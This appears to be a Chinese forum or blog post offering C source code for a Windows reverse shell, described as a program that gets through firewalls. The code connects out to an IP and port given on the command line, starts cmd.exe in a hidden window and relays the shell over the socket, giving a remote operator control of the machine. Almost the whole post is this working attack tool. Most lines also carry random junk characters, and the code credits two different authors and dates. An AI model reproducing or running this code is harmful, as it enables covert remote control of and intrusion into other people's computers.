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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #u(,#(P'#  
>x0lSL0y  
/* ============================== 7}85o J  
Rebound port in Windows NT ai9,4  
By wind,2006/7 *%+buHe  
===============================*/ f=Y9a$.:M  
#include $ !=:ES  
#include [<$d@}O  
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#pragma comment(lib,"wsock32.lib") PX/0  jv  
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void OutputShell(); 5!p'n#_  
SOCKET sClient; _ 9]3S>Rn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I"?&X4%e  
n:] 1^wX#  
void main(int argc,char **argv) =x]dP.  
{ glIIJ5d|,  
WSADATA stWsaData; IcA~f@  
int nRet; eZ$1|Sj]j  
SOCKADDR_IN stSaiClient,stSaiServer; m(]IxI  
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if(argc != 3) SXF_)1QO\W  
{ !}48;Pl  
printf("Useage:\n\rRebound DestIP DestPort\n"); /a)=B)NH  
return; ay[*b_f  
} GQWTQIl]  
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WSAStartup(MAKEWORD(2,2),&stWsaData); l_EI7mJ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =_3qUcOP  
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stSaiClient.sin_family = AF_INET; <-aI%'?*  
stSaiClient.sin_port = htons(0); TnAX;+u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  p$v +L  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EOC"a}Cq-  
{ fdW={}~  
printf("Bind Socket Failed!\n"); ZM!~M>B9R  
return; uMZf9XUE  
} #C}(7{Vt  
l))IO`s=_  
stSaiServer.sin_family = AF_INET; 4+bsG6i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~cwwB{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G"w Q(6J@  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _"`h~jB  
{ f d5~'2  
printf("Connect Error!"); 6>J #M  
return; _gh7_P^H=d  
} 3/05ee;|  
OutputShell(); Ba~Iy2\x  
} WQ`T'k#ESW  
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void OutputShell() KR0 x[#.*  
{ %Ski5q  
char szBuff[1024]; L\DaZ(Y  
SECURITY_ATTRIBUTES stSecurityAttributes; < Ifnf 6~  
OSVERSIONINFO stOsversionInfo; b*fflJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ![%,pip2/&  
STARTUPINFO stStartupInfo; b"9,DQB=i  
char *szShell; N4-J !r@#~  
PROCESS_INFORMATION stProcessInformation; g7i6Yj1  
unsigned long lBytesRead; l0)uu4|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wYG0*!Vj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p7er04/}\  
stSecurityAttributes.lpSecurityDescriptor = 0; BZ9iy~  
stSecurityAttributes.bInheritHandle = TRUE; "dTXT  
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{c; 3$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @Iu-F4YT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l-EQh*!j  
T(F8z5s5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +6atbbe}   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W^f#xrq>  
stStartupInfo.wShowWindow = SW_HIDE; =oJiNM5_u  
stStartupInfo.hStdInput = hReadPipe; X3yr6J[ ^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gG>>ynn  
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GetVersionEx(&stOsversionInfo); ba13^;fm#  
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switch(stOsversionInfo.dwPlatformId) cK&oC$[r-  
{ = @o}  
case 1: `m^OnH  
szShell = "command.com"; qZe"'"3M  
break; *2F }e4v  
default: K2 2Xo<3  
szShell = "cmd.exe"; g_U69 z  
break; s=4.Ovd\  
} +&@0;zSga  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9j`-fs@:  
mZyTo/\0  
send(sClient,szMsg,77,0); wQT'~'kL  
while(1) L8ke*O$  
{ PQ>JoRs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $'q(Z@  
if(lBytesRead) nCU4a1rZ  
{ cx}-tj"m-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k9n93I|Cm  
send(sClient,szBuff,lBytesRead,0); *b EsWeP  
} pyKag;ZtP  
else 5,C,q%2  
{ Df (6DuW  
lBytesRead=recv(sClient,szBuff,1024,0); o*_D  
if(lBytesRead<=0) break; {QID@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nKdLhCN'=  
} hh9{md\  
} Cx[4 /~_<  
gZ3!2T>  
return; <=Qk^Y2k  
}
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